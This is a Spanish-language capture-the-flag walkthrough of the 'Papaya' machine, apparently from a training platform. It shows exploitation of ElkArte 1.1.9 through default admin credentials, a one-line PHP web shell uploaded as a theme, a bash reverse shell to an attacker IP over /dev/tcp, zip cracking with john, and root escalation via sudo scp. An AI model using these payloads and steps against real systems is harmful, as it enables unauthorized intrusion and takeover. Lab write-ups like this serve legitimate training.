Papaya

Buenas h4ck3r, bienvenido a un nuevo post!

En esta ocasión, vamos a estar resolviendo la máquina Papaya de la plataforma The Hackers Labs.

Reconocimiento

Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live) 64.

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

nmap -sS -p- --open --min-rate 5000 -Pn -n -vvv 192.168.1.15 -oG ports

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

nmap -sCV -p21,22,80 -oN scan -vvv 192.168.1.15

Enumeración de servicios

Agregamos el dominio papaya.thl a nuestro archivo hosts.

echo '192.168.1.15 papaya.thl' >> /etc/hosts

Si ingresamos a este dominio desde nuestro navegador, nos encontramos con el siguiente sistema llamado ElkArte en su versión 1.1.9.

ElkArte es un software de foros de código abierto basado en PHP, diseñado para crear y gestionar comunidades en línea con funciones mejoradas de administración y personalización.

Si buscamos por esta versión de ElkArte 1.1.9, encontramos que es vulnerable a RCE (Remote Code Execution).

Explotación

Para realizar esta explotación, necesitamos loguearnos en el sistema.

Probamos credenciales por defecto y logramos acceder con admin:password.

Genial. Ahora que tenemos acceso, creamos un archivo php con el siguiente código.

<?php system($_GET['cmd']); ?>

Luego, creamos el archivo zip.

zip test.zip test.php

Por ultimo, subimos el "nuevo tema".

Accedemos a la ruta donde se descomprimio el archivo y vemos que ya tenemos capacidad de ejecución remota de comandos.

Ahora toca ganar acceso al sistema. Para ello, nos ponemos en escucha con netcat por el puerto 443.

nc -lnvp 443

Y como payload podemos utilizar la siguiente reverse shell.

bash -c "bash -i >&1 /dev/tcp/192.168.1.18/443 0>&1"

Importante, encodear los caracteres ampersand & a %26 para no tener problemas en la interpretación del código.

bash -c "bash -i >%261 /dev/tcp/192.168.1.18/443 0>%261"

Ganamos acceso al sistema.

Hacemos un tratamiento de la tty para tener una terminal más interactiva:

  • script /dev/null -c bash

  • CTRL + Z

  • stty raw -echo; fg

  • reset xterm

  • export TERM=xterm

  • export SHELL=bash

  • stty rows <rows> columns <columns>

Enumeración / Movimiento lateral

Enumerando el sistema, encontramos un archivo zip bajo el directorio /opt.

Al intentar extraerlo nos solicita una contraseña.

Lo transferimos a nuestra máquina y utilizamos la herramienta zip2john y luego john para obtener la contraseña.

Extraemos el zip y obtenemos la contraseña del usuario papaya.

Nos conectamos por ssh con el usuario papaya.

Leemos la flag de user.txt.

Escalación de privilegios

Si realizamos una enumeración básica del sistema, encontramos que al ejecutar sudo -l podemos ejecutar el binario /usr/bin/scp como el usuario root sin solicitarnos contraseña.

Si buscamos en GTFObins encontramos que existe una manera de escalar nuestros privilegios a través de este binario en este contexto.

Procedemos a escalar nuestros privilegios.

Por ultimo, leemos la flag de root.txt.

De esta forma, concluimos la resolución de la máquina Papaya.

Espero que los conceptos hayan quedado claros. Como siempre, en caso de tener alguna duda te invito a realizar nuevamente la máquina para afianzar tus conocimientos.

¡Gracias por leer!

Happy Hacking!

Última actualización